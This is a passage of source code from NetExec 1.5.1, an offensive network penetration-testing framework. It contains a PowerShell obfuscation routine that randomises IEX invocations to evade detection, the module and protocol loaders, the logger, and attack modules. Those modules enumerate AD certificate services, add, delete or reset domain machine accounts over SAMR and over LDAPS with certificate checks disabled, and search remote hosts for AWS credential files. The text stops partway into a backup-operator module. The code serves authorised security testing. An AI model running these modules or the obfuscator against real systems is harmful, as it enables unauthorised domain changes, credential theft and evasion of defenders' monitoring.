delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", "(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", ] # Generate random JOIN syntax for all above options new_script_array = [ choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''", join + choice(["", " "]) + choice(base_script_array), str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")", '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"', ] # Randomly select one of the above commands. new_script = choice(new_script_array) # Generate random invoke operation syntax # Below code block is a copy from Out-ObfuscatedStringCommand.ps1 # It is copied into this encoding function so that this will remain a standalone script without dependencies invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])] # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator, # but not a silver bullet # These methods draw on common environment variable values and PowerShell Automatic Variable # values/methods/members/properties/etc. invocation_operator = choice([".", "&"]) + choice(["", " "]) invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")) # Randomly choose from above invoke operation syntaxes. invoke_expression = choice(invoke_expression_syntax) # Randomize the case of selected invoke operation. invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression) # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) invoke_options = [ choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]), choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression, ] obfuscated_script = choice(invoke_options) nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}") return obfuscated_script NetExec-1.5.1/nxc/loaders/000077500000000000000000000000001514706431700153025ustar00rootroot00000000000000NetExec-1.5.1/nxc/loaders/__init__.py000077500000000000000000000000001514706431700174040ustar00rootroot00000000000000NetExec-1.5.1/nxc/loaders/moduleloader.py000077500000000000000000000125201514706431700203330ustar00rootroot00000000000000import nxc import importlib import traceback import sys from os import listdir from os.path import dirname from os.path import join as path_join from nxc.context import Context from nxc.helpers.misc import CATEGORY from nxc.logger import NXCAdapter from nxc.paths import NXC_PATH class ModuleLoader: def __init__(self, args, db, logger): self.args = args self.db = db self.logger = logger def module_is_sane(self, module, module_path): """Check if a module has the proper attributes""" module_error = False if not hasattr(module, "name"): self.logger.fail(f"{module_path} missing the name variable") module_error = True elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]: self.logger.fail(f"{module_path} filename must match the module name {module.name}") module_error = True elif not hasattr(module, "description"): self.logger.fail(f"{module_path} missing the description variable") module_error = True elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]: self.logger.fail(f"{module_path} missing the category variable or invalid category") module_error = True elif not hasattr(module, "supported_protocols"): self.logger.fail(f"{module_path} missing the supported_protocols variable") module_error = True elif not hasattr(module, "options"): self.logger.fail(f"{module_path} missing the options function") module_error = True elif not hasattr(module, "on_login") and not (module, "on_admin_login"): self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)") module_error = True return not module_error def load_module(self, module_path): """Load a module, initializing it and checking that it has the proper attributes""" try: spec = importlib.util.spec_from_file_location("NXCModule", module_path) module = spec.loader.load_module().NXCModule() if self.module_is_sane(module, module_path): return module except Exception as e: self.logger.fail(f"Failed loading module at {module_path}: {e}") self.logger.debug(traceback.format_exc()) def init_module(self, module_path): """Initialize a module for execution""" module = None module = self.load_module(module_path) if module: self.logger.debug(f"Supported protocols: {module.supported_protocols}") self.logger.debug(f"Protocol: {self.args.protocol}") if self.args.protocol in module.supported_protocols: try: module_logger = NXCAdapter(extra={"module_name": module.name.upper()}) except Exception as e: self.logger.fail(f"Error loading NXCAdaptor for module {module.name.upper()}: {e}") context = Context(self.db, module_logger, self.args) module_options = {} for option in self.args.module_options: key, value = option.split("=", 1) module_options[str(key).upper()] = value module.options(context, module_options) return module else: self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}") sys.exit(1) def get_module_info(self, module_path): """Get the path, description, and options from a module""" try: spec = importlib.util.spec_from_file_location("NXCModule", module_path) module_spec = spec.loader.load_module().NXCModule module = { f"{module_spec.name}": { "path": module_path, "description": module_spec.description, "options": module_spec.options.__doc__, "supported_protocols": module_spec.supported_protocols, "category": module_spec.category, "requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)), } } if self.module_is_sane(module_spec, module_path): return module except Exception as e: self.logger.fail(f"Failed loading module at {module_path}: {e}") self.logger.debug(traceback.format_exc()) def list_modules(self): """List modules without initializing them""" modules = {} modules_paths = [ path_join(dirname(nxc.__file__), "modules"), path_join(NXC_PATH, "modules"), ] for path in modules_paths: for module in listdir(path): if module[-3:] == ".py" and module != "example_module.py": try: module_path = path_join(path, module) module_data = self.get_module_info(module_path) modules.update(module_data) except Exception as e: self.logger.debug(f"Error loading module {module}: {e}") return modules NetExec-1.5.1/nxc/loaders/protocolloader.py000077500000000000000000000026721514706431700207160ustar00rootroot00000000000000from types import ModuleType from importlib.machinery import SourceFileLoader from os import listdir from os.path import join as path_join from os.path import dirname, exists import nxc class ProtocolLoader: def load_protocol(self, protocol_path): loader = SourceFileLoader("protocol", protocol_path) protocol = ModuleType(loader.name) loader.exec_module(protocol) return protocol def get_protocols(self): protocols = {} proto_path = path_join(dirname(nxc.__file__), "protocols") for protocol in listdir(proto_path): if protocol[-3:] == ".py" and protocol[:-3] != "__init__": protocol_path = path_join(proto_path, protocol) protocol_name = protocol[:-3] protocols[protocol_name] = {"path": protocol_path} db_file_path = path_join(proto_path, protocol_name, "database.py") db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py") protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py") if exists(db_file_path): protocols[protocol_name]["dbpath"] = db_file_path if exists(db_nav_path): protocols[protocol_name]["nvpath"] = db_nav_path if exists(protocol_args_path): protocols[protocol_name]["argspath"] = protocol_args_path return protocols NetExec-1.5.1/nxc/logger.py000077500000000000000000000222421514706431700155070ustar00rootroot00000000000000import logging from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys from nxc.console import nxc_console from nxc.paths import NXC_PATH from termcolor import colored from datetime import datetime from rich.text import Text from rich.logging import RichHandler import functools import inspect import argparse def parse_debug_args(): debug_parser = argparse.ArgumentParser(add_help=False) debug_parser.add_argument("--debug", action="store_true") debug_parser.add_argument("--verbose", action="store_true") args, _ = debug_parser.parse_known_args() return args def setup_debug_logging(): debug_args = parse_debug_args() root_logger = logging.getLogger("root") if debug_args.verbose: nxc_logger.logger.setLevel(logging.INFO) root_logger.setLevel(logging.INFO) elif debug_args.debug: nxc_logger.logger.setLevel(logging.DEBUG) root_logger.setLevel(logging.DEBUG) else: nxc_logger.logger.setLevel(logging.ERROR) root_logger.setLevel(logging.ERROR) def create_temp_logger(caller_frame, formatted_text, args, kwargs): """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated""" temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) class SmartDebugRichHandler(RichHandler): """Custom logging handler for when we want to log normal messages to DEBUG and not double log""" def __init__(self, formatter=None, *args, **kwargs): super().__init__(*args, **kwargs) if formatter is not None: self.setFormatter(formatter) def emit(self, record): """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno""" if hasattr(record, "caller_frame"): frame_info = inspect.getframeinfo(record.caller_frame) record.pathname = frame_info.filename record.lineno = frame_info.lineno super().emit(record) def no_debug(func): """Stops logging non-debug messages when we are in debug mode It creates a temporary logger and logs the message to the console and file This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number """ @functools.wraps(func) def wrapper(self, msg, *args, **kwargs): if self.logger.getEffectiveLevel() >= logging.INFO: return func(self, msg, *args, **kwargs) else: formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0]) caller_frame = inspect.currentframe().f_back create_temp_logger(caller_frame, formatted_text, args, kwargs) self.log_console_to_file(formatted_text, *args, **kwargs) return wrapper class NXCAdapter(logging.LoggerAdapter): def __init__(self, extra=None, merge_extra=False): logging.basicConfig( format="%(message)s", datefmt="[%X]", handlers=[RichHandler( console=nxc_console, rich_tracebacks=True, tracebacks_show_locals=False )], encoding="utf-8" ) self.logger = logging.getLogger("nxc") self.extra = extra self.merge_extra = merge_extra self.output_file = None logging.getLogger("impacket").disabled = True logging.getLogger("pypykatz").disabled = True logging.getLogger("minidump").disabled = True logging.getLogger("lsassy").disabled = True logging.getLogger("dploot").disabled = True logging.getLogger("certipy").disabled = True logging.getLogger("aardwolf").disabled = True logging.getLogger("unicrypto").disabled = True logging.getLogger("asyncio").setLevel(logging.ERROR) logging.getLogger("neo4j").setLevel(logging.ERROR) logging.getLogger("pypsrp").setLevel(logging.ERROR) def format(self, msg, *args, **kwargs): """Format msg for output This is used instead of process() since process() applies to _all_ messages, including debug calls """ if self.extra is None: return f"{msg}", kwargs if "module_name" in self.extra and len(self.extra["module_name"]) > 11: self.extra["module_name"] = self.extra["module_name"][:8] + "..." # If the logger is being called when hooking the 'options' module function if len(self.extra) == 1 and ("module_name" in self.extra): return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs) # If the logger is being called from a protocol module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"]) return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs) @no_debug def display(self, msg, *args, **kwargs): """Display text to console, formatted for nxc""" msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @no_debug def success(self, msg, color="green", *args, **kwargs): """Prints some sort of success to the user""" msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @no_debug def highlight(self, msg, *args, **kwargs): """Prints a completely yellow highlighted message to the user""" msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @no_debug def fail(self, msg, color="red", *args, **kwargs): """Prints a failure (may or may not be an error) - e.g. login creds didn't work""" msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) nxc_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) def log_console_to_file(self, text, *args, **kwargs): """Log the console output to a file If debug or info logging is not enabled, we still want display/success/fail logged to the file specified, so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers) """ caller_frame = inspect.currentframe().f_back.f_back.f_back if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers try: for handler in self.logger.handlers: handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None)) except Exception as e: self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False if not os.path.isfile(output_file): try: open(output_file, "x") # noqa: SIM115 except FileNotFoundError: print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}") exit(1) file_creation = True file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8") with file_handler._open() as f: if file_creation: f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") else: f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") file_handler.setFormatter(file_formatter) self.logger.addHandler(file_handler) self.logger.debug(f"Added file handler: {file_handler}") @staticmethod def init_log_file(): newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d") os.makedirs(newpath, exist_ok=True) return os.path.join( NXC_PATH, "logs", datetime.now().strftime("%Y-%m-%d"), f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log", ) # initialize the logger for all of nxc - this is imported everywhere nxc_logger = NXCAdapter() NetExec-1.5.1/nxc/modules/000077500000000000000000000000001514706431700153215ustar00rootroot00000000000000NetExec-1.5.1/nxc/modules/adcs.py000066400000000000000000000126311514706431700166100ustar00rootroot00000000000000import re from impacket.ldap import ldap, ldapasn1 from impacket.ldap.ldap import LDAPSearchError from nxc.helpers.misc import CATEGORY class NXCModule: """ Find PKI Enrollment Services in Active Directory and Certificate Templates Names. Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash) """ name = "adcs" description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.server = None self.regex = None def options(self, context, module_options): """ SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name BASE_DN The base domain name for the LDAP query """ self.regex = re.compile(r"(https?://.+)") self.server = None self.base_dn = None if module_options and "SERVER" in module_options: self.server = module_options["SERVER"] if module_options and "BASE_DN" in module_options: self.base_dn = module_options["BASE_DN"] def on_login(self, context, connection): """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.""" self.context = context if self.server is None: search_filter = "(objectClass=pKIEnrollmentService)" else: search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration," self.context.log.highlight(f"Using PKI CN: {self.server}") context.log.display(f"Starting LDAP search with search filter '{search_filter}'") try: sc = ldap.SimplePagedResultsControl() base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn if self.server is None: connection.ldap_connection.search( searchFilter=search_filter, attributes=[], sizeLimit=0, searchControls=[sc], perRecordCallback=self.process_servers, searchBase="CN=Configuration," + base_dn_root, ) else: connection.ldap_connection.search( searchFilter=search_filter + base_dn_root + ")", attributes=["certificateTemplates"], sizeLimit=0, searchControls=[sc], perRecordCallback=self.process_templates, searchBase="CN=Configuration," + base_dn_root, ) except LDAPSearchError as e: if "noSuchObject" in str(e): context.log.fail("No ADCS infrastructure found.") else: context.log.fail(f"Obtained unexpected exception: {e}") def process_servers(self, item): """Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.""" if not isinstance(item, ldapasn1.SearchResultEntry): return urls = [] host_name = None cn = None try: for attribute in item["attributes"]: if str(attribute["type"]) == "dNSHostName": host_name = attribute["vals"][0].asOctets().decode("utf-8") if str(attribute["type"]) == "cn": cn = attribute["vals"][0].asOctets().decode("utf-8") elif str(attribute["type"]) == "msPKI-Enrollment-Servers": values = attribute["vals"] for value in values: value = value.asOctets().decode("utf-8") match = self.regex.search(value) if match: urls.append(match.group(1)) except Exception as e: entry = host_name or "item" self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'") if host_name: self.context.log.highlight(f"Found PKI Enrollment Server: {host_name}") if cn: self.context.log.highlight(f"Found CN: {cn}") for url in urls: self.context.log.highlight(f"Found PKI Enrollment WebService: {url}") def process_templates(self, item): """Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.""" if not isinstance(item, ldapasn1.SearchResultEntry): return templates = [] template_name = None try: for attribute in item["attributes"]: if str(attribute["type"]) == "certificateTemplates": for val in attribute["vals"]: template_name = val.asOctets().decode("utf-8") templates.append(template_name) except Exception as e: entry = template_name or "item" self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'") if templates: for t in templates: self.context.log.highlight(f"Found Certificate Template: {t}") NetExec-1.5.1/nxc/modules/add-computer.py000066400000000000000000000330051514706431700202600ustar00rootroot00000000000000import ssl import ldap3 import sys from impacket.dcerpc.v5 import samr, epm, transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from nxc.helpers.misc import CATEGORY class NXCModule: """ Module by CyberCelt: @Cyb3rC3lt Initial module: https://github.com/Cyb3rC3lt/CrackMapExec-Modules Thanks to the guys at impacket for the original code """ name = "add-computer" description = "Adds or deletes a domain computer" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ add-computer: Specify add-computer to call the module using smb NAME: Specify the NAME option to name the Computer to be added PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added DELETE: Specify DELETE to remove a Computer CHANGEPW: Specify CHANGEPW to modify a Computer password Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1" nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True """ self.__noAdd = False self.__delete = False self.noLDAPRequired = False if "DELETE" in module_options: self.__delete = True if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options): context.log.error("NAME and PASSWORD options are required!") sys.exit(1) elif "CHANGEPW" in module_options: self.__noAdd = True if "NAME" in module_options: self.__computerName = module_options["NAME"] if self.__computerName[-1] != "$": self.__computerName += "$" else: context.log.error("NAME option is required!") sys.exit(1) if "PASSWORD" in module_options: self.__computerPassword = module_options["PASSWORD"] elif "PASSWORD" not in module_options and not self.__delete: context.log.error("PASSWORD option is required!") sys.exit(1) def on_login(self, context, connection): self.context = context self.connection = connection self.__domain = connection.domain self.__domainNetbios = connection.domain self.__kdcHost = connection.kdcHost self.__username = connection.username self.__password = connection.password self.__host = connection.host self.__aesKey = connection.aesKey self.__doKerberos = connection.kerberos self.__nthash = connection.nthash self.__lmhash = connection.lmhash # First try to add via SAMR over SMB self.do_samr_add() # If SAMR fails now try over LDAPS if not self.noLDAPRequired: self.do_ldaps_add() def do_samr_add(self): """Connects to a target server and performs various operations related to adding or deleting machine accounts.""" string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np") string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.setRemoteHost(self.__host) if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost) dce = rpc_transport.get_dce_rpc() if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN) serv_handle = samr_connect_response["ServerHandle"] # Get the list of domains samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle) domains = samr_enum_response["Buffer"]["Buffer"] domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"] if len(domains_without_builtin) > 1: domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains)) if len(domain) != 1: self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'") self.context.log.fail("Available domain(s):") for domain in domains: self.context.log.fail(f" * {domain['Name']}") raise Exception else: selected_domain = domain[0]["Name"] else: selected_domain = domains_without_builtin[0]["Name"] domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"] self.context.log.debug(f"Opening domain {selected_domain}...") domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"] # Get handle for existing computer account if self.__noAdd or self.__delete: try: user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0] except samr.DCERPCSessionError as e: self.context.log.debug(f"samrLookupNamesInDomain failed: {e}") if "STATUS_NONE_MAPPED" in str(e): self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}") self.noLDAPRequired = True else: self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}") return if self.__delete: access = samr.DELETE message = "delete" else: access = samr.USER_FORCE_PASSWORD_CHANGE message = "set the password for" try: user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"] except samr.DCERPCSessionError as e: self.context.log.debug(f"samrOpenUser failed: {e}") if "STATUS_ACCESS_DENIED" in str(e): self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}") self.noLDAPRequired = True else: self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}") return # Add computer account else: try: samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName]) self.noLDAPRequired = True self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"') except samr.DCERPCSessionError as e: self.context.log.debug(f"samrLookupNamesInDomain failed: {e}") if "STATUS_NONE_MAPPED" not in str(e): self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}") return try: user_handle = samr.hSamrCreateUser2InDomain( dce, domain_handle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE, )["UserHandle"] self.noLDAPRequired = True self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'") self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword) except samr.DCERPCSessionError as e: self.context.log.debug(f"samrCreateUser2InDomain failed: {e}") if "STATUS_ACCESS_DENIED" in str(e): self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}") elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e): self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}") return if self.__delete: samr.hSamrDeleteUser(dce, user_handle) self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account") self.noLDAPRequired = True # Removing the machine account in the DB user = self.context.db.get_user(self.__domain, self.__computerName) user_ids = [row[0] for row in user] self.context.db.remove_credentials(user_ids) else: samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword) if self.__noAdd: self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'") self.noLDAPRequired = True else: user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0] user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"] req = samr.SAMPR_USER_INFO_BUFFER() req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT samr.hSamrSetInformationUser2(dce, user_handle, req) if not self.noLDAPRequired: self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'") self.noLDAPRequired = True if user_handle is not None: samr.hSamrCloseHandle(dce, user_handle) if domain_handle is not None: samr.hSamrCloseHandle(dce, domain_handle) if serv_handle is not None: samr.hSamrCloseHandle(dce, serv_handle) dce.disconnect() self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword) def do_ldaps_add(self): """Performs an LDAPS add operation.""" ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}" tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0") ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls) c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password) c.bind() sAMAccountName = self.__computerName name = self.__computerName.rstrip("$") if self.__delete: result = c.delete(f"cn={name},cn=Computers,{ldap_domain}") if result: self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account') elif result is False and c.last_error == "noSuchObject": self.context.log.fail(f'Computer named "{sAMAccountName}" was not found') elif result is False and c.last_error == "insufficientAccessRights": self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"') else: self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}') else: spns = [ f"HOST/{name}", f"HOST/{name}.{self.connection.domain}", f"RestrictedKrbHost/{name}", f"RestrictedKrbHost/{name}.{self.connection.domain}", ] result = c.add( f"cn={name},cn=Computers,{ldap_domain}", ["top", "person", "organizationalPerson", "user", "computer"], { "dnsHostName": f"{name}.{self.connection.domain}", "userAccountControl": 0x1000, "servicePrincipalName": spns, "sAMAccountName": sAMAccountName, "unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le") } ) if result: self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"') self.context.log.highlight("You can try to verify this with the nxc command:") self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'") elif result is False and c.last_error == "entryAlreadyExists": self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists") elif not result: self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}") c.unbind() NetExec-1.5.1/nxc/modules/aws-credentials.py000066400000000000000000000050251514706431700207620ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Search for aws credentials files on linux and windows machines Module by Fortress """ name = "aws-credentials" description = "Search for aws credentials files." supported_protocols = ["ssh", "smb", "winrm"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self): self.search_path_linux = "'/home/' '/tmp/'" self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'" def options(self, context, module_options): r""" SEARCH_PATH_LINUX Linux location where to search for aws credentials related files Default: "'/home/' '/tmp/'" SEARCH_PATH_WIN Windows locations where to search for aws credentials related files Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'" """ if "SEARCH_PATH_LINUX" in module_options: self.search_path_linux = module_options["SEARCH_PATH_LINUX"] if "SEARCH_PATH_WIN" in module_options: self.search_path_win = module_options["SEARCH_PATH_WIN"] def on_login(self, context, connection): # search for aws_credentials-related files on linux systems if "ssh" in context.protocol: search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'" search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"' output = connection.execute(search_aws_creds_files_cmd) else: # search for aws_credentials-related files on windows systems # we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/ search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName" search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"' output = connection.execute(search_aws_creds_files_cmd_win, True) if output: context.log.success("The following files were found:") for line in output.splitlines(): context.log.highlight(line.rstrip()) NetExec-1.5.1/nxc/modules/backup_operator.py000066400000000000000000000135221514706431700210560ustar00rootroot00000000000000import contextlib from time import sleep from impacket.examples.secretsdump import SAMHashes, 